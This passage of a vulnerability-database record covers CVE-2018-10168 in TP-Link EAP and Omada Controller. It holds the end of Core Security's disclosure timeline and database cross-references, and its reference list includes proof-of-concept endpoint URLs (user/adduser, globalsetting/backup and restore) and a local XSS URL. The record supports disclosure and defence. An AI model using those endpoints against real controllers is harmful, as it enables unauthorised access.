draft advisory to TP-Link in clear\ntext form. \n2018-01-29: TP-Link informed Core Security they checked the draft advisory\nand they are going to fix the vulnerabilities. \n2018-01-29: Core Security asked if all the reported vulnerabilities were\nconfirmed and request an estimated release date for the fix. \n2018-02-07: TP-Link informed that they were working in a beta version of\nthe fix and they will provide it to Core Security for test. \n2018-02-07: Core Security thanked TP-Link\u0027s answer and asked for a\ntentative date for this beta version. Also, Core Security asked for a tentative\nrelease date for the fix. \n2018-02-27: Core Security asked for a status update again. However, this version didn\u0027t address the\nreported vulnerabilities. Core Security asked for a status update again. \n2018-03-01: Core Security thanked TP-Link\u0027s answer and requested for a\nregular contact till the release of the fixed version. \n2018-03-19: Core Security requested a status update. \n2018-03-21: TP-Link confirmed that the new version will be available in\nearly April. \n2018-03-26: Core Security thanked TP-Link\u0027s reply an asked for a solidified\nrelease date. \n2018-04-13: Core Security noticed that a new version of the EAP Controller\nwas released (v2.6.1) and asked TP-Link if this version fixed the reported\nvulnerabilities. \n2018-04-16: Core Security tested the new release and confirmed that the\nreported vulnerabilities were addressed. \n2018-04-17: Core Security set release date to be May 3rd at 12 PM EST. \n \n9. **References**\n\n[1] https://www.tp-link.com/en/products/details/EAP-Controller.html. \n[2]\nhttps://www.tp-link.com/en/download/EAP-Controller.html#Controller_Software. \n\n10. **About CoreLabs**\n\nCoreLabs, the research center of Core Security, is charged with anticipating\nthe future needs and requirements for information security technologies. \nWe conduct our research in several important areas of computer security\nincluding system vulnerabilities, cyber attack planning and simulation,\nsource code auditing, and cryptography. Our results include problem\nformalization, identification of vulnerabilities, novel solutions and\nprototypes for new technologies. CoreLabs regularly publishes security\nadvisories, technical papers, project information and shared software\ntools for public use at:\nhttp://corelabs.coresecurity.com. \n \n11. **About Core Security**\n\nCore Security provides companies with the security insight they need to\nknow who, how, and what is vulnerable in their organization. The company\u0027s\nthreat-aware, identity \u0026 access, network security, and vulnerability\nmanagement solutions provide actionable insight and context needed to manage\nsecurity risks across the enterprise. This shared insight gives customers\na comprehensive view of their security posture to make better security\nremediation decisions. Better insight allows organizations to prioritize\ntheir efforts to protect critical assets, take action sooner to mitigate\naccess risk, and react faster if a breach does occur. \n\nCore Security is headquartered in the USA with offices and operations in\nSouth America, Europe, Middle East and Asia. To learn more, contact Core\nSecurity at (678) 304-4500 or info@coresecurity.com\n \n12. **Disclaimer**\n\nThe contents of this advisory are copyright (c) 2018 Core Security and\n(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution\nNon-Commercial Share-Alike 3.0 (United States) License:\nhttp://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. **PGP/GPG Keys**\n\nThis advisory has been signed with the GPG key of Core Security advisories\nteam, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-10168"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-004780"
},
{
"db": "CNVD",
"id": "CNVD-2018-10973"
},
{
"db": "BID",
"id": "104094"
},
{
"db": "VULHUB",
"id": "VHN-119900"
},
{
"db": "PACKETSTORM",
"id": "147495"
}
],
"trust": 2.61
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-10168",
"trust": 3.5
},
{
"db": "BID",
"id": "104094",
"trust": 3.4
},
{
"db": "JVNDB",
"id": "JVNDB-2018-004780",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2018-10973",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201805-141",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-119900",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "147495",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-10973"
},
{
"db": "VULHUB",
"id": "VHN-119900"
},
{
"db": "BID",
"id": "104094"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-004780"
},
{
"db": "PACKETSTORM",
"id": "147495"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-141"
},
{
"db": "NVD",
"id": "CVE-2018-10168"
}
]
},
"id": "VAR-201805-0362",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-10973"
},
{
"db": "VULHUB",
"id": "VHN-119900"
}
],
"trust": 1.7
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-10973"
}
]
},
"last_update_date": "2024-11-23T22:06:50.672000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.tp-link.com/us/"
},
{
"title": "Patch for TP-LinkEAPController and OmadaController privilege escalation vulnerability",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/131261"
},
{
"title": "TP-Link EAP Controller and Omada Controller Security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=79862"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-10973"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-004780"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-141"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-269",
"trust": 1.1
},
{
"problemtype": "CWE-264",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-119900"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-004780"
},
{
"db": "NVD",
"id": "CVE-2018-10168"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.1,
"url": "http://www.securityfocus.com/bid/104094"
},
{
"trust": 2.9,
"url": "https://www.coresecurity.com/advisories/tp-link-eap-controller-multiple-vulnerabilities"
},
{
"trust": 0.9,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-10168"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-10168"
},
{
"trust": 0.3,
"url": "http://www.tp-link.com/en/"
},
{
"trust": 0.1,
"url": "https://eap_controler_ip:8043/globalsetting/portalpictureload?fileid=5a383b962dc07622f0bdc101"
},
{
"trust": 0.1,
"url": "https://eap_controler_ip:8043/user/adduser\u0027,"
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-10166"
},
{
"trust": 0.1,
"url": "https://eap_controler_ip:8043/globalsetting/restore\u0027,"
},
{
"trust": 0.1,
"url": "https://eap_controler_ip:8043/globalsetting/backup\u0027,"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-10165"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-10164"
},
{
"trust": 0.1,
"url": "https://www.tp-link.com/en/products/details/eap-controller.html."
},
{
"trust": 0.1,
"url": "http://127.0.0.1:5000/xss"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-10167"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com."
},
{
"trust": 0.1,
"url": "https://www.tp-link.com/en/download/eap-controller.html#controller_software."
},
{
"trust": 0.1,
"url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-10973"
},
{
"db": "VULHUB",
"id": "VHN-119900"
},
{
"db": "BID",
"id": "104094"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-004780"
},
{
"db": "PACKETSTORM",
"id": "147495"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-141"
},
{
"db": "NVD",
"id": "CVE-2018-10168"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2018-10973"
},
{
"db": "VULHUB",
"id": "VHN-119900"
},
{
"db": "BID",
"id": "104094"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-004780"
},
{
"db": "PACKETSTORM",
"id": "147495"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-141"
},
{
"db": "NVD",
"id": "CVE-2018-10168"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-06-05T00:00:00",
"db": "CNVD",
"id": "CNVD-2018-10973"
},
{
"date": "2018-05-03T00:00:00",
"db": "VULHUB",
"id": "VHN-119900"
},
{
"date": "2018-05-03T00:00:00",
"db": "BID",
"id": "104094"
},
{
"date": "2018-06-27T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-004780"
},
{
"date": "2018-05-04T01:20:40",
"db": "PACKETSTORM",
"id": "147495"
},
{
"date": "2018-05-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201805-141"
},
{
"date": "2018-05-03T18:29:00.483000",
"db": "NVD",
"id": "CVE-2018-10168"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-06-05T00:00:00",
"db": "CNVD",
"id": "CNVD-2018-10973"
},
{
"date": "2019-10-03T00:00:00",
"db": "VULHUB",
"id": "VHN-119900"
},
{
"date": "2018-05-03T00:00:00",
"db": "BID",
"id": "104094"
},
{
"date": "2018-06-27T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-004780"
},
{
"date": "2019-10-23T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201805-141"
},
{
"date": "2024-11-21T03:40:56.280000",
"db": "NVD",
"id": "CVE-2018-10168"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201805-141"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "TP-Link EAP Controller and Omada Controller Vulnerabilities related to authorization, permissions, and access control",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-004780"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "permissions and access control issues",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201805-141"
}
],
"trust": 0.6
}
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.